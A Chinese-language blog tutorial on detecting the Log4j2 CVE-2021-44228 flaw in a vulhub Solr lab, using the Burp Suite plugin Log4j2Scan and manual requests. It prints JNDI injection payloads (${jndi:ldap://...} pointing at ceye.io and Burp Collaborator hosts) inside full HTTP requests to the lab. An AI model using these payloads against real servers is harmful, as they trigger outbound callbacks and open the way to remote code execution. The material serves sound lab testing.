BurpSuite 插件 Log4j2Scan 使用和手动验证

文章目录

  • [1. 靶场简介](#1. 靶场简介)
  • [2. 手动注入](#2. 手动注入)
  • [3. BurpSuite 插件 Log4j2Scan](#3. BurpSuite 插件 Log4j2Scan)
    • [3.1 官方信息](#3.1 官方信息)
    • [3.2 使用步骤](#3.2 使用步骤)
    • [3.3 手工验证](#3.3 手工验证)

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

1. 靶场简介

https://github.com/vulhub/vulhub

如下图,vulhub 提供了 2 个 log4j 组件相关的靶场,分别是 CVE-2017-5645 和 CVE-2021-44228 版本的。

CVE-2017-5645 在这个靶场中是 TCP 请求触发的,本文针对 log4j2 的 CVE-2021-44228 漏洞用插件演示攻击。

访问 http://{目标IP}:8983/solr/#/ 进入如下页面:

2. 手动注入

官方已经提供详细步骤,不再赘述。

3. BurpSuite 插件 Log4j2Scan

3.1 官方信息

官方仓库:https://github.com/whwlsfb/Log4j2Scan

下载地址:https://github.com/whwlsfb/Log4j2Scan/releases/tag/dev-20230804T025448

3.2 使用步骤

通过 ceye.io 注册,获取个人的 identifier 和 API Token。

在插件中同步配置并启用。

代理访问:http://靶机IP:8983,插件自动扫描检测该漏洞,可以看到2个路径均存在 log4j2 的注入漏洞。

URL 参数 _ 存在 Log4j2 远程代码执行(RCE)漏洞,检测发送的请求中包含了 JNDI 注入的 payload:${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

3.3 手工验证

使用 burpsuite 自带的 Collaborator 模块生成服务地址,接收 dns 信息。

构造/solr/admin/info/system请求,在_参数后面添加 payload:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test},编码后如下:

shell 复制代码
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

burpsuite 也可以接收到 dnslog 。

请求/solr/admin/cores也同样可以构造 payload,请求也是成功的。

shell 复制代码
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

PS:vulhub 这个靶场在 log4j2 发送多次 dns 请求时,有时可能由于网络或缓存原因会接收不到 DNS 请求;可以变化下 payload 或者通过命令重启下靶场即可

shell 复制代码
docker compose restart

同类型的 BurpSuite 插件可以参考:FastjsonScan

相关推荐
Hy行者勇哥2 天前
软件测试完整体系
测试工具
TunerT_TQ2 天前
Valhalla 静态工程审阅 #012|Hertz 源码证据驱动评测【大厂开源基础设施特辑】
测试工具·微服务·开源·github·字节跳动·cloudwego·http框架
Dr.kangder2 天前
嵌入式软件接口测试:从理论到实践的全面指南
测试工具·架构·嵌入式·测试覆盖率
冷凝娇3 天前
【Postman】2026总结
测试工具·postman
天才测试猿3 天前
实例介绍:Unittest框架及自动化测试实现流程
自动化测试·软件测试·python·selenium·测试工具·职场和发展·测试用例
TunerT_TQ3 天前
Valhalla 静态工程审阅 #009|Continue 源码证据驱动评测【大厂开源基础设施特辑】
vscode·测试工具·开源·llm·github·jetbrains·ai编程助手
5系暗夜孤魂z3 天前
优雅的.net REST API之FastEndpoints
log4j·.net
名字还没想好☜3 天前
Go 表驱动测试实战:用 t.Run 子测试组织可维护的单元测试
golang·单元测试·log4j·go·testing
老白干3 天前
jjwt 0.9.1 在 JDK 11+ 上的两个“坑”与完整解决方案
java·python·log4j
Luminbox紫创测控4 天前
AM0太阳模拟器如何精准模拟太空环境:提升地面测试精度
测试工具·安全性测试·测试标准